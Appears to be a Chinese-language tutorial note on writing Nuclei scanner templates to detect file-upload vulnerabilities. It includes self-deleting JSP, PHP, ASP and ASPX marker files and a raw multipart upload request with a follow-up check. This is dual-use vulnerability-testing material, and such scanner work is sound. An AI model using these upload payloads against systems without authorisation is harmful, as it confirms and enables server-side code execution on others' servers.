[Nuclei-05]Nuclei文件上传中的一些技巧

{{randstr}} # 随机字符串

{{rand_base(8)}} # 从可选字符集生成给定长度字符串的随机序列（默认为字母和数字）{{rand_text_numeric(8)}} # 生成给定长度的随机数字字符串（和数字）

to_lower小写{{to_lower(rand_base(10))}}to_upper大写{{to_upper(rand_base(10))}}

variables:  filename: "{{to_lower(rand_base(10))}}"  boundary: "{{rand_base(8)}}"

<% out.println({{randstr}});new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>

<?php echo "{{randstr}}";unlink(__FILE__); ?>

⚠声明 本程序、脚本仅供于学习自查使用，请使用者遵守《中华人民共和国网络安全法》,勿将此工具用于非授权的测试！！！jsp<% out.println({{randstr}});new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>php<?php echo "{{randstr}}";unlink(__FILE__); ?>asp<% response.write({{randstr}})        set myfso=server.CreateObject("scripting.filesystemobject")         myfso.DeleteFile(Server.MapPath("{{filename}}.asp"))%>aspx<%@ Page Language="C#"%><% Response.Write({{randstr}});System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>

variables:  filename: "{{to_lower(rand_base(10))}}"  boundary: "{{rand_base(8)}}"http:  - raw:      - |        POST /upload HTTP/1.1        Host: {{Hostname}}         User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary}}        ------WebKitFormBoundary{{boundary}}        Content-Disposition: form-data; name="myFile";filename="{{filename}}.zip"        {{base64_decode("UEA=")}}        ------WebKitFormBoundary{{boundary}}--      - |        GET /XXXX.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36    req-condition: true     matchers:      - type: dsl        dsl:          - 'status_code_2 == 200 && contains_all(body_2, "test")'